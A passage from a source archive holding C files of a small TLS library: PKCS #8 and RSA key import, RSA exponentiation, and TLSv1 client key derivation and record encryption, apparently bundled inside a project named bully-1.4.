hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 "
"header (SEQUENCE); assume PKCS #8 not used");
return NULL;
}
pos = hdr.payload;
end = pos + hdr.length;
/* version Version (Version ::= INTEGER) */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected INTEGER - found "
"class %d tag 0x%x; assume PKCS #8 not used",
hdr.class, hdr.tag);
return NULL;
}
zero = bignum_init();
if (zero == NULL)
return NULL;
if (bignum_set_unsigned_bin(zero, hdr.payload, hdr.length) < 0) {
wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse INTEGER");
bignum_deinit(zero);
return NULL;
}
pos = hdr.payload + hdr.length;
if (bignum_cmp_d(zero, 0) != 0) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected zero INTEGER in the "
"beginning of private key; not found; assume "
"PKCS #8 not used");
bignum_deinit(zero);
return NULL;
}
bignum_deinit(zero);
/* privateKeyAlgorithm PrivateKeyAlgorithmIdentifier
* (PrivateKeyAlgorithmIdentifier ::= AlgorithmIdentifier) */
if (asn1_get_next(pos, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE "
"(AlgorithmIdentifier) - found class %d tag 0x%x; "
"assume PKCS #8 not used",
hdr.class, hdr.tag);
return NULL;
}
if (asn1_get_oid(hdr.payload, hdr.length, &oid, &pos)) {
wpa_printf(MSG_DEBUG, "PKCS #8: Failed to parse OID "
"(algorithm); assume PKCS #8 not used");
return NULL;
}
asn1_oid_to_str(&oid, obuf, sizeof(obuf));
wpa_printf(MSG_DEBUG, "PKCS #8: algorithm=%s", obuf);
if (oid.len != 7 ||
oid.oid[0] != 1 /* iso */ ||
oid.oid[1] != 2 /* member-body */ ||
oid.oid[2] != 840 /* us */ ||
oid.oid[3] != 113549 /* rsadsi */ ||
oid.oid[4] != 1 /* pkcs */ ||
oid.oid[5] != 1 /* pkcs-1 */ ||
oid.oid[6] != 1 /* rsaEncryption */) {
wpa_printf(MSG_DEBUG, "PKCS #8: Unsupported private key "
"algorithm %s", obuf);
return NULL;
}
pos = hdr.payload + hdr.length;
/* privateKey PrivateKey (PrivateKey ::= OCTET STRING) */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_OCTETSTRING) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING "
"(privateKey) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return NULL;
}
wpa_printf(MSG_DEBUG, "PKCS #8: Try to parse RSAPrivateKey");
return (struct crypto_private_key *)
crypto_rsa_import_private_key(hdr.payload, hdr.length);
}
struct crypto_private_key *
pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd)
{
struct asn1_hdr hdr;
const u8 *pos, *end, *enc_alg;
size_t enc_alg_len;
u8 *data;
size_t data_len;
if (passwd == NULL)
return NULL;
/*
* PKCS #8, Chapter 7
* EncryptedPrivateKeyInfo ::= SEQUENCE {
* encryptionAlgorithm EncryptionAlgorithmIdentifier,
* encryptedData EncryptedData }
* EncryptionAlgorithmIdentifier ::= AlgorithmIdentifier
* EncryptedData ::= OCTET STRING
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "PKCS #8: Does not start with PKCS #8 "
"header (SEQUENCE); assume encrypted PKCS #8 not "
"used");
return NULL;
}
pos = hdr.payload;
end = pos + hdr.length;
/* encryptionAlgorithm EncryptionAlgorithmIdentifier */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected SEQUENCE "
"(AlgorithmIdentifier) - found class %d tag 0x%x; "
"assume encrypted PKCS #8 not used",
hdr.class, hdr.tag);
return NULL;
}
enc_alg = hdr.payload;
enc_alg_len = hdr.length;
pos = hdr.payload + hdr.length;
/* encryptedData EncryptedData */
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_OCTETSTRING) {
wpa_printf(MSG_DEBUG, "PKCS #8: Expected OCTETSTRING "
"(encryptedData) - found class %d tag 0x%x",
hdr.class, hdr.tag);
return NULL;
}
data = pkcs5_decrypt(enc_alg, enc_alg_len, hdr.payload, hdr.length,
passwd, &data_len);
if (data) {
struct crypto_private_key *key;
key = pkcs8_key_import(data, data_len);
os_free(data);
return key;
}
return NULL;
}
bully-1.4-00/src/tls/pkcs8.h 0000775 0000000 0000000 00000001217 13615304636 0015527 0 ustar 00root root 0000000 0000000 /*
* PKCS #8 (Private-key information syntax)
* Copyright (c) 2006-2009, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef PKCS8_H
#define PKCS8_H
struct crypto_private_key * pkcs8_key_import(const u8 *buf, size_t len);
struct crypto_private_key *
pkcs8_enc_key_import(const u8 *buf, size_t len, const char *passwd);
#endif /* PKCS8_H */
bully-1.4-00/src/tls/rsa.c 0000775 0000000 0000000 00000021005 13615304636 0015254 0 ustar 00root root 0000000 0000000 /*
* RSA
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "asn1.h"
#include "bignum.h"
#include "rsa.h"
struct crypto_rsa_key {
int private_key; /* whether private key is set */
struct bignum *n; /* modulus (p * q) */
struct bignum *e; /* public exponent */
/* The following parameters are available only if private_key is set */
struct bignum *d; /* private exponent */
struct bignum *p; /* prime p (factor of n) */
struct bignum *q; /* prime q (factor of n) */
struct bignum *dmp1; /* d mod (p - 1); CRT exponent */
struct bignum *dmq1; /* d mod (q - 1); CRT exponent */
struct bignum *iqmp; /* 1 / q mod p; CRT coefficient */
};
static const u8 * crypto_rsa_parse_integer(const u8 *pos, const u8 *end,
struct bignum *num)
{
struct asn1_hdr hdr;
if (pos == NULL)
return NULL;
if (asn1_get_next(pos, end - pos, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_INTEGER) {
wpa_printf(MSG_DEBUG, "RSA: Expected INTEGER - found class %d "
"tag 0x%x", hdr.class, hdr.tag);
return NULL;
}
if (bignum_set_unsigned_bin(num, hdr.payload, hdr.length) < 0) {
wpa_printf(MSG_DEBUG, "RSA: Failed to parse INTEGER");
return NULL;
}
return hdr.payload + hdr.length;
}
/**
* crypto_rsa_import_public_key - Import an RSA public key
* @buf: Key buffer (DER encoded RSA public key)
* @len: Key buffer length in bytes
* Returns: Pointer to the public key or %NULL on failure
*/
struct crypto_rsa_key *
crypto_rsa_import_public_key(const u8 *buf, size_t len)
{
struct crypto_rsa_key *key;
struct asn1_hdr hdr;
const u8 *pos, *end;
key = os_zalloc(sizeof(*key));
if (key == NULL)
return NULL;
key->n = bignum_init();
key->e = bignum_init();
if (key->n == NULL || key->e == NULL) {
crypto_rsa_free(key);
return NULL;
}
/*
* PKCS #1, 7.1:
* RSAPublicKey ::= SEQUENCE {
* modulus INTEGER, -- n
* publicExponent INTEGER -- e
* }
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE "
"(public key) - found class %d tag 0x%x",
hdr.class, hdr.tag);
goto error;
}
pos = hdr.payload;
end = pos + hdr.length;
pos = crypto_rsa_parse_integer(pos, end, key->n);
pos = crypto_rsa_parse_integer(pos, end, key->e);
if (pos == NULL)
goto error;
if (pos != end) {
wpa_hexdump(MSG_DEBUG,
"RSA: Extra data in public key SEQUENCE",
pos, end - pos);
goto error;
}
return key;
error:
crypto_rsa_free(key);
return NULL;
}
/**
* crypto_rsa_import_private_key - Import an RSA private key
* @buf: Key buffer (DER encoded RSA private key)
* @len: Key buffer length in bytes
* Returns: Pointer to the private key or %NULL on failure
*/
struct crypto_rsa_key *
crypto_rsa_import_private_key(const u8 *buf, size_t len)
{
struct crypto_rsa_key *key;
struct bignum *zero;
struct asn1_hdr hdr;
const u8 *pos, *end;
key = os_zalloc(sizeof(*key));
if (key == NULL)
return NULL;
key->private_key = 1;
key->n = bignum_init();
key->e = bignum_init();
key->d = bignum_init();
key->p = bignum_init();
key->q = bignum_init();
key->dmp1 = bignum_init();
key->dmq1 = bignum_init();
key->iqmp = bignum_init();
if (key->n == NULL || key->e == NULL || key->d == NULL ||
key->p == NULL || key->q == NULL || key->dmp1 == NULL ||
key->dmq1 == NULL || key->iqmp == NULL) {
crypto_rsa_free(key);
return NULL;
}
/*
* PKCS #1, 7.2:
* RSAPrivateKey ::= SEQUENCE {
* version Version,
* modulus INTEGER, -- n
* publicExponent INTEGER, -- e
* privateExponent INTEGER, -- d
* prime1 INTEGER, -- p
* prime2 INTEGER, -- q
* exponent1 INTEGER, -- d mod (p-1)
* exponent2 INTEGER, -- d mod (q-1)
* coefficient INTEGER -- (inverse of q) mod p
* }
*
* Version ::= INTEGER -- shall be 0 for this version of the standard
*/
if (asn1_get_next(buf, len, &hdr) < 0 ||
hdr.class != ASN1_CLASS_UNIVERSAL ||
hdr.tag != ASN1_TAG_SEQUENCE) {
wpa_printf(MSG_DEBUG, "RSA: Expected SEQUENCE "
"(public key) - found class %d tag 0x%x",
hdr.class, hdr.tag);
goto error;
}
pos = hdr.payload;
end = pos + hdr.length;
zero = bignum_init();
if (zero == NULL)
goto error;
pos = crypto_rsa_parse_integer(pos, end, zero);
if (pos == NULL || bignum_cmp_d(zero, 0) != 0) {
wpa_printf(MSG_DEBUG, "RSA: Expected zero INTEGER in the "
"beginning of private key; not found");
bignum_deinit(zero);
goto error;
}
bignum_deinit(zero);
pos = crypto_rsa_parse_integer(pos, end, key->n);
pos = crypto_rsa_parse_integer(pos, end, key->e);
pos = crypto_rsa_parse_integer(pos, end, key->d);
pos = crypto_rsa_parse_integer(pos, end, key->p);
pos = crypto_rsa_parse_integer(pos, end, key->q);
pos = crypto_rsa_parse_integer(pos, end, key->dmp1);
pos = crypto_rsa_parse_integer(pos, end, key->dmq1);
pos = crypto_rsa_parse_integer(pos, end, key->iqmp);
if (pos == NULL)
goto error;
if (pos != end) {
wpa_hexdump(MSG_DEBUG,
"RSA: Extra data in public key SEQUENCE",
pos, end - pos);
goto error;
}
return key;
error:
crypto_rsa_free(key);
return NULL;
}
/**
* crypto_rsa_get_modulus_len - Get the modulus length of the RSA key
* @key: RSA key
* Returns: Modulus length of the key
*/
size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key)
{
return bignum_get_unsigned_bin_len(key->n);
}
/**
* crypto_rsa_exptmod - RSA modular exponentiation
* @in: Input data
* @inlen: Input data length
* @out: Buffer for output data
* @outlen: Maximum size of the output buffer and used size on success
* @key: RSA key
* @use_private: 1 = Use RSA private key, 0 = Use RSA public key
* Returns: 0 on success, -1 on failure
*/
int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen,
struct crypto_rsa_key *key, int use_private)
{
struct bignum *tmp, *a = NULL, *b = NULL;
int ret = -1;
size_t modlen;
if (use_private && !key->private_key)
return -1;
tmp = bignum_init();
if (tmp == NULL)
return -1;
if (bignum_set_unsigned_bin(tmp, in, inlen) < 0)
goto error;
if (bignum_cmp(key->n, tmp) < 0) {
/* Too large input value for the RSA key modulus */
goto error;
}
if (use_private) {
/*
* Decrypt (or sign) using Chinese remainer theorem to speed
* up calculation. This is equivalent to tmp = tmp^d mod n
* (which would require more CPU to calculate directly).
*
* dmp1 = (1/e) mod (p-1)
* dmq1 = (1/e) mod (q-1)
* iqmp = (1/q) mod p, where p > q
* m1 = c^dmp1 mod p
* m2 = c^dmq1 mod q
* h = q^-1 (m1 - m2) mod p
* m = m2 + hq
*/
a = bignum_init();
b = bignum_init();
if (a == NULL || b == NULL)
goto error;
/* a = tmp^dmp1 mod p */
if (bignum_exptmod(tmp, key->dmp1, key->p, a) < 0)
goto error;
/* b = tmp^dmq1 mod q */
if (bignum_exptmod(tmp, key->dmq1, key->q, b) < 0)
goto error;
/* tmp = (a - b) * (1/q mod p) (mod p) */
if (bignum_sub(a, b, tmp) < 0 ||
bignum_mulmod(tmp, key->iqmp, key->p, tmp) < 0)
goto error;
/* tmp = b + q * tmp */
if (bignum_mul(tmp, key->q, tmp) < 0 ||
bignum_add(tmp, b, tmp) < 0)
goto error;
} else {
/* Encrypt (or verify signature) */
/* tmp = tmp^e mod N */
if (bignum_exptmod(tmp, key->e, key->n, tmp) < 0)
goto error;
}
modlen = crypto_rsa_get_modulus_len(key);
if (modlen > *outlen) {
*outlen = modlen;
goto error;
}
if (bignum_get_unsigned_bin_len(tmp) > modlen)
goto error; /* should never happen */
*outlen = modlen;
os_memset(out, 0, modlen);
if (bignum_get_unsigned_bin(
tmp, out +
(modlen - bignum_get_unsigned_bin_len(tmp)), NULL) < 0)
goto error;
ret = 0;
error:
bignum_deinit(tmp);
bignum_deinit(a);
bignum_deinit(b);
return ret;
}
/**
* crypto_rsa_free - Free RSA key
* @key: RSA key to be freed
*
* This function frees an RSA key imported with either
* crypto_rsa_import_public_key() or crypto_rsa_import_private_key().
*/
void crypto_rsa_free(struct crypto_rsa_key *key)
{
if (key) {
bignum_deinit(key->n);
bignum_deinit(key->e);
bignum_deinit(key->d);
bignum_deinit(key->p);
bignum_deinit(key->q);
bignum_deinit(key->dmp1);
bignum_deinit(key->dmq1);
bignum_deinit(key->iqmp);
os_free(key);
}
}
bully-1.4-00/src/tls/rsa.h 0000775 0000000 0000000 00000001544 13615304636 0015267 0 ustar 00root root 0000000 0000000 /*
* RSA
* Copyright (c) 2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef RSA_H
#define RSA_H
struct crypto_rsa_key;
struct crypto_rsa_key *
crypto_rsa_import_public_key(const u8 *buf, size_t len);
struct crypto_rsa_key *
crypto_rsa_import_private_key(const u8 *buf, size_t len);
size_t crypto_rsa_get_modulus_len(struct crypto_rsa_key *key);
int crypto_rsa_exptmod(const u8 *in, size_t inlen, u8 *out, size_t *outlen,
struct crypto_rsa_key *key, int use_private);
void crypto_rsa_free(struct crypto_rsa_key *key);
#endif /* RSA_H */
bully-1.4-00/src/tls/tlsv1_client.c 0000775 0000000 0000000 00000043453 13615304636 0017111 0 ustar 00root root 0000000 0000000 /*
* TLSv1 client (RFC 2246)
* Copyright (c) 2006-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "crypto/sha1.h"
#include "crypto/tls.h"
#include "tlsv1_common.h"
#include "tlsv1_record.h"
#include "tlsv1_client.h"
#include "tlsv1_client_i.h"
/* TODO:
* Support for a message fragmented across several records (RFC 2246, 6.2.1)
*/
void tls_alert(struct tlsv1_client *conn, u8 level, u8 description)
{
conn->alert_level = level;
conn->alert_description = description;
}
void tlsv1_client_free_dh(struct tlsv1_client *conn)
{
os_free(conn->dh_p);
os_free(conn->dh_g);
os_free(conn->dh_ys);
conn->dh_p = conn->dh_g = conn->dh_ys = NULL;
}
int tls_derive_pre_master_secret(u8 *pre_master_secret)
{
WPA_PUT_BE16(pre_master_secret, TLS_VERSION);
if (os_get_random(pre_master_secret + 2,
TLS_PRE_MASTER_SECRET_LEN - 2))
return -1;
return 0;
}
int tls_derive_keys(struct tlsv1_client *conn,
const u8 *pre_master_secret, size_t pre_master_secret_len)
{
u8 seed[2 * TLS_RANDOM_LEN];
u8 key_block[TLS_MAX_KEY_BLOCK_LEN];
u8 *pos;
size_t key_block_len;
if (pre_master_secret) {
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret",
pre_master_secret, pre_master_secret_len);
os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random,
TLS_RANDOM_LEN);
if (tls_prf(pre_master_secret, pre_master_secret_len,
"master secret", seed, 2 * TLS_RANDOM_LEN,
conn->master_secret, TLS_MASTER_SECRET_LEN)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive "
"master_secret");
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret",
conn->master_secret, TLS_MASTER_SECRET_LEN);
}
os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN);
key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len +
conn->rl.iv_size);
if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
"key expansion", seed, 2 * TLS_RANDOM_LEN,
key_block, key_block_len)) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block");
return -1;
}
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block",
key_block, key_block_len);
pos = key_block;
/* client_write_MAC_secret */
os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size);
pos += conn->rl.hash_size;
/* server_write_MAC_secret */
os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size);
pos += conn->rl.hash_size;
/* client_write_key */
os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len);
pos += conn->rl.key_material_len;
/* server_write_key */
os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len);
pos += conn->rl.key_material_len;
/* client_write_IV */
os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size);
pos += conn->rl.iv_size;
/* server_write_IV */
os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size);
pos += conn->rl.iv_size;
return 0;
}
/**
* tlsv1_client_handshake - Process TLS handshake
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @in_data: Input data from TLS peer
* @in_len: Input data length
* @out_len: Length of the output buffer.
* @appl_data: Pointer to application data pointer, or %NULL if dropped
* @appl_data_len: Pointer to variable that is set to appl_data length
* Returns: Pointer to output data, %NULL on failure
*/
u8 * tlsv1_client_handshake(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
size_t *out_len, u8 **appl_data,
size_t *appl_data_len)
{
const u8 *pos, *end;
u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct;
size_t in_msg_len;
int no_appl_data;
if (conn->state == CLIENT_HELLO) {
if (in_len)
return NULL;
return tls_send_client_hello(conn, out_len);
}
if (in_data == NULL || in_len == 0)
return NULL;
pos = in_data;
end = in_data + in_len;
in_msg = os_malloc(in_len);
if (in_msg == NULL)
return NULL;
/* Each received packet may include multiple records */
while (pos < end) {
in_msg_len = in_len;
if (tlsv1_record_receive(&conn->rl, pos, end - pos,
in_msg, &in_msg_len, &alert)) {
wpa_printf(MSG_DEBUG, "TLSv1: Processing received "
"record failed");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert);
goto failed;
}
ct = pos[0];
in_pos = in_msg;
in_end = in_msg + in_msg_len;
/* Each received record may include multiple messages of the
* same ContentType. */
while (in_pos < in_end) {
in_msg_len = in_end - in_pos;
if (tlsv1_client_process_handshake(conn, ct, in_pos,
&in_msg_len,
appl_data,
appl_data_len) < 0)
goto failed;
in_pos += in_msg_len;
}
pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3);
}
os_free(in_msg);
in_msg = NULL;
no_appl_data = appl_data == NULL || *appl_data == NULL;
msg = tlsv1_client_handshake_write(conn, out_len, no_appl_data);
failed:
os_free(in_msg);
if (conn->alert_level) {
conn->state = FAILED;
os_free(msg);
msg = tlsv1_client_send_alert(conn, conn->alert_level,
conn->alert_description,
out_len);
} else if (msg == NULL) {
msg = os_zalloc(1);
*out_len = 0;
}
return msg;
}
/**
* tlsv1_client_encrypt - Encrypt data into TLS tunnel
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @in_data: Pointer to plaintext data to be encrypted
* @in_len: Input buffer length
* @out_data: Pointer to output buffer (encrypted TLS data)
* @out_len: Maximum out_data length
* Returns: Number of bytes written to out_data, -1 on failure
*
* This function is used after TLS handshake has been completed successfully to
* send data in the encrypted tunnel.
*/
int tlsv1_client_encrypt(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len)
{
size_t rlen;
wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData",
in_data, in_len);
os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len);
if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA,
out_data, out_len, in_len, &rlen) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
return rlen;
}
/**
* tlsv1_client_decrypt - Decrypt data from TLS tunnel
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @in_data: Pointer to input buffer (encrypted TLS data)
* @in_len: Input buffer length
* @out_data: Pointer to output buffer (decrypted data from TLS tunnel)
* @out_len: Maximum out_data length
* Returns: Number of bytes written to out_data, -1 on failure
*
* This function is used after TLS handshake has been completed successfully to
* receive data from the encrypted tunnel.
*/
int tlsv1_client_decrypt(struct tlsv1_client *conn,
const u8 *in_data, size_t in_len,
u8 *out_data, size_t out_len)
{
const u8 *in_end, *pos;
int res;
u8 alert, *out_end, *out_pos;
size_t olen;
pos = in_data;
in_end = in_data + in_len;
out_pos = out_data;
out_end = out_data + out_len;
while (pos < in_end) {
if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) {
wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type "
"0x%x", pos[0]);
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_UNEXPECTED_MESSAGE);
return -1;
}
olen = out_end - out_pos;
res = tlsv1_record_receive(&conn->rl, pos, in_end - pos,
out_pos, &olen, &alert);
if (res < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing "
"failed");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert);
return -1;
}
out_pos += olen;
if (out_pos > out_end) {
wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough "
"for processing the received record");
tls_alert(conn, TLS_ALERT_LEVEL_FATAL,
TLS_ALERT_INTERNAL_ERROR);
return -1;
}
pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3);
}
return out_pos - out_data;
}
/**
* tlsv1_client_global_init - Initialize TLSv1 client
* Returns: 0 on success, -1 on failure
*
* This function must be called before using any other TLSv1 client functions.
*/
int tlsv1_client_global_init(void)
{
return crypto_global_init();
}
/**
* tlsv1_client_global_deinit - Deinitialize TLSv1 client
*
* This function can be used to deinitialize the TLSv1 client that was
* initialized by calling tlsv1_client_global_init(). No TLSv1 client functions
* can be called after this before calling tlsv1_client_global_init() again.
*/
void tlsv1_client_global_deinit(void)
{
crypto_global_deinit();
}
/**
* tlsv1_client_init - Initialize TLSv1 client connection
* Returns: Pointer to TLSv1 client connection data or %NULL on failure
*/
struct tlsv1_client * tlsv1_client_init(void)
{
struct tlsv1_client *conn;
size_t count;
u16 *suites;
conn = os_zalloc(sizeof(*conn));
if (conn == NULL)
return NULL;
conn->state = CLIENT_HELLO;
if (tls_verify_hash_init(&conn->verify) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify "
"hash");
os_free(conn);
return NULL;
}
count = 0;
suites = conn->cipher_suites;
#ifndef CONFIG_CRYPTO_INTERNAL
suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA;
#endif /* CONFIG_CRYPTO_INTERNAL */
suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA;
suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_SHA;
suites[count++] = TLS_RSA_WITH_RC4_128_MD5;
conn->num_cipher_suites = count;
return conn;
}
/**
* tlsv1_client_deinit - Deinitialize TLSv1 client connection
* @conn: TLSv1 client connection data from tlsv1_client_init()
*/
void tlsv1_client_deinit(struct tlsv1_client *conn)
{
crypto_public_key_free(conn->server_rsa_key);
tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL);
tlsv1_record_change_write_cipher(&conn->rl);
tlsv1_record_change_read_cipher(&conn->rl);
tls_verify_hash_free(&conn->verify);
os_free(conn->client_hello_ext);
tlsv1_client_free_dh(conn);
tlsv1_cred_free(conn->cred);
os_free(conn);
}
/**
* tlsv1_client_established - Check whether connection has been established
* @conn: TLSv1 client connection data from tlsv1_client_init()
* Returns: 1 if connection is established, 0 if not
*/
int tlsv1_client_established(struct tlsv1_client *conn)
{
return conn->state == ESTABLISHED;
}
/**
* tlsv1_client_prf - Use TLS-PRF to derive keying material
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @label: Label (e.g., description of the key) for PRF
* @server_random_first: seed is 0 = client_random|server_random,
* 1 = server_random|client_random
* @out: Buffer for output data from TLS-PRF
* @out_len: Length of the output buffer
* Returns: 0 on success, -1 on failure
*/
int tlsv1_client_prf(struct tlsv1_client *conn, const char *label,
int server_random_first, u8 *out, size_t out_len)
{
u8 seed[2 * TLS_RANDOM_LEN];
if (conn->state != ESTABLISHED)
return -1;
if (server_random_first) {
os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random,
TLS_RANDOM_LEN);
} else {
os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN);
os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random,
TLS_RANDOM_LEN);
}
return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN,
label, seed, 2 * TLS_RANDOM_LEN, out, out_len);
}
/**
* tlsv1_client_get_cipher - Get current cipher name
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @buf: Buffer for the cipher name
* @buflen: buf size
* Returns: 0 on success, -1 on failure
*
* Get the name of the currently used cipher.
*/
int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf,
size_t buflen)
{
char *cipher;
switch (conn->rl.cipher_suite) {
case TLS_RSA_WITH_RC4_128_MD5:
cipher = "RC4-MD5";
break;
case TLS_RSA_WITH_RC4_128_SHA:
cipher = "RC4-SHA";
break;
case TLS_RSA_WITH_DES_CBC_SHA:
cipher = "DES-CBC-SHA";
break;
case TLS_RSA_WITH_3DES_EDE_CBC_SHA:
cipher = "DES-CBC3-SHA";
break;
case TLS_DH_anon_WITH_AES_128_CBC_SHA:
cipher = "ADH-AES-128-SHA";
break;
case TLS_RSA_WITH_AES_256_CBC_SHA:
cipher = "AES-256-SHA";
break;
case TLS_RSA_WITH_AES_128_CBC_SHA:
cipher = "AES-128-SHA";
break;
default:
return -1;
}
if (os_strlcpy(buf, cipher, buflen) >= buflen)
return -1;
return 0;
}
/**
* tlsv1_client_shutdown - Shutdown TLS connection
* @conn: TLSv1 client connection data from tlsv1_client_init()
* Returns: 0 on success, -1 on failure
*/
int tlsv1_client_shutdown(struct tlsv1_client *conn)
{
conn->state = CLIENT_HELLO;
if (tls_verify_hash_init(&conn->verify) < 0) {
wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify "
"hash");
return -1;
}
tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL);
tlsv1_record_change_write_cipher(&conn->rl);
tlsv1_record_change_read_cipher(&conn->rl);
conn->certificate_requested = 0;
crypto_public_key_free(conn->server_rsa_key);
conn->server_rsa_key = NULL;
conn->session_resumed = 0;
return 0;
}
/**
* tlsv1_client_resumed - Was session resumption used
* @conn: TLSv1 client connection data from tlsv1_client_init()
* Returns: 1 if current session used session resumption, 0 if not
*/
int tlsv1_client_resumed(struct tlsv1_client *conn)
{
return !!conn->session_resumed;
}
/**
* tlsv1_client_hello_ext - Set TLS extension for ClientHello
* @conn: TLSv1 client connection data from tlsv1_client_init()
* @ext_type: Extension type
* @data: Extension payload (%NULL to remove extension)
* @data_len: Extension payload length
* Returns: 0 on success, -1 on failure
*/
int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type,
const u8 *data, size_t data_len)
{
u8 *pos;
conn->session_ticket_included = 0;
os_free(conn->client_hello_ext);
conn->client_hello_ext = NULL;
conn->client_hello_ext_len = 0;
if (data == NULL || data_len == 0)
return 0;
pos = conn->client_hello_ext = os_malloc(6 + data_len);
if (pos == NULL)
return -1;
WPA_PUT_BE16(pos, 4 + data_len);
pos += 2;
WPA_PUT_BE16(pos, ext_type);
pos += 2;
WPA_PUT_BE16(pos, data_len);
pos += 2;
os_memcpy(pos, data, data_len);
conn->client_hello_ext_len = 6 + data_len;
